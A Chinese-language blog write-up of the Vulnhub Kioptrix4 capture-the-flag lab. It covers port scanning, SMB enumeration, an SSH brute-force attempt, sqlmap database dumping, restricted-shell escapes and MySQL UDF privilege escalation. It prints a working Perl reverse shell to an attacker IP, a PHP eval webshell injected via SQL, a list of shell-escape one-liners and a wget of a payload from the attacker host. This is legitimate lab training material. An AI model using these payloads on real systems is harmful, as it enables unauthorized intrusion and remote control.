Vulnhub Kioptrix4

kelec0ka發表於2024-11-27

Vulnhub Kioptrix4

0x01:埠掃描

主機發現

nmap -sn 192.168.231.0/24

image-20241127145640769

全埠掃描

nmap --min-rate 10000 -p- 192.168.231.139

image-20241127145740333

開放22ssh,80http,139netbios-ssn,445microsoft-ds,後兩個是smb服務

埠 139(NetBIOS-SSN):用於透過NetBIOS協議在區域網內實現檔案和印表機共享。雖然它是SMB的一部分,但它依賴於NetBIOS協議,通常用於較舊的Windows作業系統(Windows 95/98等)。

埠 445(Microsoft-DS):直接用於SMB協議的通訊,繞過NetBIOS。它是現代Windows作業系統(如Windows 2000及更高版本)中用於SMB通訊的標準埠。

UDP掃描

nmap -sU --min-rate 10000 -p- 192.168.231.139

image-20241127150319444

也是一個smb服務

詳細埠掃描

nmap -sT -sC -sV -O --min-rate 10000 -p22,80,139,445 192.168.231.139

image-20241127150508093

發現它可以guest匿名登入

漏洞掃描

nmap --script=vuln -p22,80,139,445 192.168.231.139

image-20241127152238617

0x02:smb滲透

smbclient -L 192.168.231.139

image-20241127151057406

我們再拿enum4linux掃一遍

enum4linux -a 192.168.231.139

image-20241127151353417

發現幾個使用者,我們嘗試爆破ssh

hydra -l loneferret -P /usr/share/wordlists/rockyou.txt ssh://192.168.187.139 

發現爆不出來,遂放棄

0x03:web滲透

掃目錄

dirsearch -u http://192.168.231.139

image-20241127154710800

image-20241127154735470

主頁面測了一下sql注入

image-20241127154808674

報錯,可以sql注入

我們先用bp抓包,儲存到1.txt下

image-20241127161235437

sqlmap -r 1.txt --level 5
sqlmap -r 1.txt --leval 5 --dbs

image-20241127161324163

找到3個資料庫,我們一番查詢在member下找到

sqlmap -r 1.txt --leval 5 -D members --tabels

image-20241127161816429

sqlmap -r 1.txt --leval 5 -D members -T members --dump

image-20241127161904957

我們登入web頁面

image-20241127162016634

兩個使用者都是這個介面

基本上沒有可以利用的東西,懷疑是ssh,試一試

ssh john@192.168.231.139

image-20241127162559719

看來我們需要指定金鑰

ssh -o HostKeyAlgorithms=ssh-rsa john@192.168.231.139  

image-20241127162700220

成功進入

0x04:許可權提升

我們發現這兩個使用者的許可權非常低

image-20241127163044554

一些基本命令都執行不了,但是發現他能執行echo命令,我們嘗試echo逃逸

image-20241127164205591

成功

sudo許可權檢視

sudo -l

image-20241127164335117

我們看看另外一個使用者呢

image-20241127164706153

也是不行的

檢視SUID位

find / -type f -perm -04000 -ls 2>/dev/null

image-20241127164820983

發現sudoedit設定了S位,先用這個命令檢視是否有漏洞

sudoedit -s /

如果以 sudoedit: 開頭的報錯,那麼表明存在漏洞

如果以 usage:開頭的報錯,則不存在

image-20241127165326253

發現存在漏洞,我們上傳指令碼

但是他沒有python3和gcc,於是另尋其路

image-20241127172058154

image-20241127172130800

沒有gcc的話,核心提權基本上就是不行了

看看自動任務

cat /etc/crontab

image-20241127173634766

也沒有用

到這裡,基本上普通的提權方式就試完了,我們現在來嘗試不同的

我們先看mysql程序掛在哪個使用者下的

ps -Af | grep mysql

image-20241127191707882

mysql位於root許可權下,我們登陸一下

mysql -u root

發現是匿名登入

我們先檢視secure_file_priv是否為空

show global variables like '%secure%';

image-20241127205938370

為空!這個時候我們可以先看看這臺靶機上是否有現成的so檔案,如果有,我們就可以不用在本機上編譯了(本機上自帶1518.c進行參考)

mysql庫下的func表中檢視

select * from mysql.func;

image-20241127210216009

是存在的,我們直接反彈shell

select sys_exec('perl -e \'use Socket;$i="192.168.231.138";$p=44444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'')

image-20241127211301941

成功!

0x05:思考反思

1.可以透過注入寫馬獲取www-data的shell

' union select 1,2,"<?php eval($_POST['shell']);?>" into outfile '/var/www/ma.php'#

image-20241127213521569

image-20241127213501490

image-20241127213632331

2.limited shell

這裡是透過echo逃逸的,還有其他逃逸的方法

https://blog.csdn.net/qq_25924971/article/details/128884687

常用逃逸命令

  1. 如果允許使用“/”,則可以執行/bin/sh、/bin/bash
  2. 如果允許使用cp命令,則可以複製/bin/sh到當前目錄
  3. 使用ftp進行命令執行,執行 !/bin/sh
  4. 使用gdb進行命令執行,執行 !/bin/sh
  5. 使用more/man/less進行命令執行,執行 !/bin/sh
  6. 使用vim進行命令執行,執行 !/bin/sh
  7. 使用rvim執行:python,然後執行import os; os.system("/bin/bash )
  8. 使用scp,透過scp來傳入自己指令碼
  9. 使用awk,執行awk 'BEGIN {system("/bin/sh or /bin/bash")}'
  10. 使用find,執行find / -name test -exec /bin/sh or /bin/bash \

程式語言逃逸

  1. 使用except,執行except spawn sh then sh.
  2. 使用python,執行python -c 'import os; os.system("/bin/sh")'
  3. 使用php,執行php -a then exec("sh -i");
  4. 使用perl,執行perl -e 'exec "/bin/sh";‘
  5. 使用lua,執行os.execute('/bin/sh')
  6. 使用ruby,執行exec "/bin/sh"

高階技術

  1. 透過ssh,ssh username@IP - t "/bin/sh" or "/bin/bash"
  2. 透過ssh,ssh username@IP -t "bash --noprofile"
  3. 透過ssh連線,並使用shellshock,ssh username@IP -t "() { :; }; /bin/bash"
  4. 透過ssh連線,ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
  5. 透過git,執行git help status,然後執行!/bin/bash
  6. 透過pico,執行pico -s "/bin/bash",然後寫入/bin/bash,並且執行CTRL+T
  7. 透過zip,執行zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
  8. 透過tar,執行tar cf /dev/null testfile --checkpoint=1 --checkpoint- action=exec=/bin/bash

3. nmap的smb使用者列舉

nmap -sC --script=smb-enum-users 192.168.231.139

image-20241127215546987

4.如果沒有自帶的so檔案,我們自己上傳一遍

由於在靶機上沒有gcc,我們在本地編譯

/////本機
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
/////
/////靶機
wget 192.168.231.138:6666/raptor_udf2.so
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
/////

但是倒數第二步報錯了。。。

看來還得是在靶機上編譯。。。

5.linenum向量列舉較為完全,但是如果為核心提權的話,則使用linpeas.sh